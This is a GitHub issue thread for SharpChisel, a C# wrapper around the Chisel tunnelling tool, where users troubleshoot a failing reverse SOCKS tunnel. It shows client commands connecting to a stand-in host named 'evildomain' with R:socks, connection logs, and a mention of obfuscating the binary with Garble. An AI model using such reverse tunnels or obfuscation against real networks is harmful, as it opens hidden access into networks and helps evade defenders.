shantanu561993 / SharpChisel

C# Wrapper around Chisel from https://github.com/jpillora/chisel
155 stars 30 forks source link

Socks failing #1

Open mubix opened 3 years ago

mubix commented 3 years ago

I was able to us the Go binary:

C:\temp\> chisel.exe client --auth user:pass https://evildomain R:socks
2020/10/29 13:06:01 client: Connecting to wss://evildomain:443
2020/10/29 13:06:01 client: Fingerprint SNIPPED
2020/10/29 13:06:01 client: Connected (Latency 62.3573ms)

But with SharpChisel I get this:

SharpChisel.exe client --auth user:pass https://evildomain R:socks
[client --auth user:pass https://evildomain R:1080:socks]
2020/10/29 13:06:43 client: Connecting to wss://evildomain:443
2020/10/29 13:06:44 client: Fingerprint SNIPPED
2020/10/29 13:06:44 client: server: Server cannot listen on R:127.0.0.1:1080=>socks

I restarted the server both times just to make sure there wasn't lingering connections. Both runs are from the same machine. Not sure what's going wrong here.

mubix commented 3 years ago

I've tested compiling myself as well as using the release version

mubix commented 3 years ago

Oddly enough I've getting a similar issue when using Garble - https://github.com/burrowers/garble to obfuscate the binary

m3rcer commented 2 years ago

Facing the same issue...

m3rcer commented 2 years ago

Here's a fix: https://github.com/latortuga71/SharpChisel-NG